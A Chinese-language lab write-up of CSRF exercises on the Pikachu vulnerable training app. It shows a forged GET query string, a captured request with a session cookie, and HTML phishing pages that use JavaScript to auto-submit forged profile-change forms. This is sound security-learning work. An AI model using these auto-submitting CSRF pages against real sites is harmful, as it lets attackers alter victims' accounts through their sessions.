CSRF(Cross-Site Request Forgery)跨站请求伪造

CSRF(GET)

看一下提示,可以得到很多的用户与密码,这里以 vince 账户为实验。

1
2
3
4
5
姓名:vince
性别:boy
手机:18626545453
住址:chain
邮箱:vince@pikachu.com

将邮箱修改成 mov@pikachu.com 了。

不过没看到它在 URL 有显示 GET 获取的数据罢了。

我们看一下浏览器中表单中各个组件的 name 值

我们简单构造一下

1
?sex=boy&phonenum=18626545453&add=chain&email=mrvirus@qq.com&submit=submit

发现没有用。那我老老实实用 Burpsuite 去抓包看看有什么缺的。

**tips:**其实少写一个 submit 那个发送按键,因为 value 为 submit,所以后面再加一个 submit=submit。

1
2
3
4
5
6
7
8
9
10
11
GET /vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit HTTP/1.1
Host: 192.168.17.129:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.17.129:8000/vul/csrf/csrfget/csrf_get_edit.php
Cookie: PHPSESSID=o10dqkebdm0tkdfss0ah7epkf6
Upgrade-Insecure-Requests: 1
Priority: u=0, i

OK,我们发现,我们还少了一个 submit=submit

1
?sex=boy&phonenum=18626545453&add=chain&email=mrvirus@qq.com&submit=submit

OK,修改成功!

借他人在浏览器留下的 cookie(session),以达成点击链接修改用户信息的方法。

CSRF(POST)=>CSRF token

POST 当然先抓包

1
sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit

我们当然可以放到 intruder 中进行发送。但是这有什么用,又不是攻击自己。所以这个我们一般就会制作一个钓鱼网站,一个 HTML 网页即可,放一个表单,请求方式为 POST 请求,只要有人打开网页,点击按钮,就可以进行 POST 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Official</title>
</head>
<body>
<form method="post" action="http://192.168.17.129:8000/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="text" name="sex" value="boy"/>
<input type="text" name="phonenum" value="18626545453"/>
<input type="text" name="add" value="chain"/>
<input type="text" name="email" value="mov@pikachu.com"/>
<input type="submit" name="submit" value="submit"/>
</form>
</body>
</html>

ok,点击 submit,也可以修改。但是我们发送给其他用户这个钓鱼网站,别人也不信啊,所以还需要用到 js 代码进行自动化。

可以用到 js 的模拟点击,我们只需要给按钮给上 ID 编号即可。

1
document.getElementById('myButton').click();

写上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Official</title>
</head>
<body>
<form method="post" action="http://192.168.17.129:8000/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="text" name="sex" value="boy"/>
<input type="text" name="phonenum" value="18626545453"/>
<input type="text" name="add" value="chain"/>
<input type="text" name="email" value="vince@pikachu.com"/>
<input type="submit" id="ok" name="submit" value="submit"/>
</form>

<script>
document.getElementById("ok").click();
</script>
</body>
</html>

ok,有效。

**问题:**为什么不管是 GET 构造还是 POST 构造,第一次都会导致浏览器失去 cookie 信息,第二次才能成功?

浏览器对策?